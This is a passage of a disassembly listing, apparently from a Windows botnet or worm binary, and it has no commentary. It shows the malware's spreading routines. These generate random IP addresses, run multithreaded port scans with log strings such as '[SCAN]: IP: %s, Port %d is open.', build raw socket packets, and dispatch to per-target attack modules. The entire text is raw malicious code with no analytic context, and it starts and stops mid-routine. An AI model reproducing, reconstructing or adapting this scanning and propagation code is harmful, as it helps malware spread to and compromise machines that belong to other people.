var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423792
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423792:				; CODE XREF: sub_423760+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr 77C41B72h
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_50FABC
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4237CA
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_4237CA:				; CODE XREF: sub_423760+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4237D6
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_4237D6:				; CODE XREF: sub_423760+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4237E2
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_4237E2:				; CODE XREF: sub_423760+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4237EC
		call	esi	; rand


loc_4237EC:				; CODE XREF: sub_423760+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50BB90[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423850	proc near		; CODE XREF: sub_401E38j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42387E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42387E:				; CODE XREF: sub_423850+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		call	near ptr 71AB4519h
		nop
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		nop
		call	near ptr 71AB2DC0h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423940:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, dword_50FC2C
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		call	near ptr 77C371D3h
		nop
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A28
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423A69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423B68
; ---------------------------------------------------------------------------


loc_423A69:				; CODE XREF: ___:00423A5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		nop
		call	near ptr 71AB2C69h
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423AC2
		nop
		call	near ptr 71AB94DCh
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		nop
		call	sub_5EFFD5
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423AC2:				; CODE XREF: ___:00423A87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423B13
		mov	edi, dword_50FC58


loc_423AEA:				; CODE XREF: ___:00423B11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423B42
		cmp	[esp+0FEh], bp
		jnz	short loc_423AEA


loc_423B13:				; CODE XREF: ___:00423AE2j
		push	esi
		call	near ptr 71AB9639h
		nop
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423B63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B42:				; CODE XREF: ___:00423B07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B63:				; CODE XREF: ___:00423B23j
		push	offset dword_44467C


loc_423B68:				; CODE XREF: ___:00423A64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423C10:				; CODE XREF: ___:loc_401F23j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		nop
		call	near ptr 27D07EBh
		push	eax
		call	near ptr 77C371BCh
		nop
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:448FCBh[eax*4]
		mov	eax, dword_4491CF[eax*4]
		mov	ecx, dword_50BB94[eax*8]
		test	ecx, ecx
		jz	loc_423EC4
		mov	ebx, off_50FBF0


loc_423C8C:				; CODE XREF: ___:00423EBAj
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423CA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423CAF
; ---------------------------------------------------------------------------


loc_423CA7:				; CODE XREF: ___:00423C96j
		call	sub_401F37
		add	esp, 4


loc_423CAF:				; CODE XREF: ___:00423CA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_50FC78
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_5EFFD5
		add	esp, 18h
		lea	ecx, [esp+220h]
		push	ecx
		push	ebp
		call	ebx ; sub_5EFFD5
		mov	edx, [esp+138h]
		mov	eax, [esp+134h]
		push	edx
		push	eax
		push	esi
		call	sub_401E38
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_423EA0
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423DC2
		push	offset dword_50DAD0
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_5EFFD5
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423DA2
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423D7D
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423D9A
; ---------------------------------------------------------------------------


loc_423D7D:				; CODE XREF: ___:00423D59j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423D9A:				; CODE XREF: ___:00423D7Bj
		call	sub_401523
		add	esp, 10h


loc_423DA2:				; CODE XREF: ___:00423D4Ej
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50DAD0
		nop
		call	near ptr 7C9010EDh
		jmp	loc_423EA0
; ---------------------------------------------------------------------------


loc_423DC2:				; CODE XREF: ___:00423D16j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_5EFFD5
		mov	eax, [esp+150h]
		add	esp, 8
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+1F8h]
		lea	edx, ds:444420h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_5EFFD5
		mov	al, [esp+0B0h]
		add	esp, 8
		test	al, al
		jz	short loc_423E12
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423E1F
; ---------------------------------------------------------------------------


loc_423E12:				; CODE XREF: ___:00423DFEj
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423E1F:				; CODE XREF: ___:00423E10j
		call	ebx ; sub_5EFFD5
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_44444C[edx*4]
		add	esp, 0BCh


loc_423EA0:				; CODE XREF: ___:00423D08j
					; ___:00423DBDj
		push	7D0h
		nop
		call	near ptr 2821EEEh
		mov	eax, [ebp+204h]
		mov	ecx, dword_50BB94[eax*8]
		test	ecx, ecx
		jnz	loc_423C8C
		mov	esi, [esp+10h]


loc_423EC4:				; CODE XREF: ___:00423C80j
		push	esi
		call	sub_401E24
		add	esp, 4
		push	0
		call	near ptr 2830000h
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_402261j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50BB90[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_401483
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424021
		push	offset dword_50DAD0
		nop
		call	near ptr 27609E7h
		push	offset dword_50DAD0
		nop
		call	near ptr 2770000h


loc_424021:				; CODE XREF: ___:00424009j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_50F8D0
		mov	esi, ebx
		mov	dword_50BB94[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_50FBF0
		jb	loc_424150
		mov	edi, dword_50F860


loc_424052:				; CODE XREF: ___:0042414Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_5EFFD5
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BD6
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F23
		push	0
		push	0
		mov	dword_4491CF[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_4491DF[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_4491DF[eax*4]
		test	ecx, ecx
		jz	short loc_424118
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42413E


loc_424107:				; CODE XREF: ___:00424114j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_424107
		jmp	short loc_42413E
; ---------------------------------------------------------------------------


loc_424118:				; CODE XREF: ___:004240FAj
		call	near ptr 27A08E7h
		nop
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_5EFFD5
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42413E:				; CODE XREF: ___:00424105j
					; ___:00424116j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424052


loc_424150:				; CODE XREF: ___:00424046j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42417E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_4241B1
; ---------------------------------------------------------------------------


loc_42417E:				; CODE XREF: ___:00424159j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50BB94[ecx*8], esi
		jnz	short loc_4241B1


loc_424193:				; CODE XREF: ___:004241A8j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50BB94[edx*8], esi
		jz	short loc_424193
		mov	eax, [esp+12Ch]


loc_4241B1:				; CODE XREF: ___:0042417Cj
					; ___:00424191j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50BB90[ecx*8]
		push	ecx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_5EFFD5
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_424212
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_401523
		add	esp, 10h


loc_424212:				; CODE XREF: ___:004241EBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50BB94[eax*8], 0
		call	ebp
		push	3
		call	sub_401483
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424254
		push	offset dword_50DAD0
		nop
		call	near ptr 27609E7h


loc_424254:				; CODE XREF: ___:00424247j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 2830000h
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424330	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424330	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424350:				; CODE XREF: ___:004015E1j
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401834
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4243A0	proc near		; CODE XREF: sub_401834j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4243F2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4243F2:				; CODE XREF: sub_4243A0+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_4243A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424420	proc near		; CODE XREF: sub_4021D5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424494
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424494:				; CODE XREF: sub_424420+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424420	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4244C0	proc near		; CODE XREF: sub_4016B8j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4244D3
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4244D3:				; CODE XREF: sub_4244C0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4244C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_424517
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424517:				; CODE XREF: sub_424500+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		call	near ptr 77C2C407h
		nop
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424545
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424545:				; CODE XREF: sub_424500+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424574
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42458F
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42458F:				; CODE XREF: sub_424500+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_424500	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245F0	proc near		; CODE XREF: sub_401B68j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_446F74
		lea	ecx, [esp+20h+var_8]
		call	sub_4021D5
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424635
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424635:				; CODE XREF: sub_4245F0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016B8
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016B8
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4245F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424720	proc near		; CODE XREF: sub_402036j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424720	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424760	proc near		; CODE XREF: sub_4014FBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
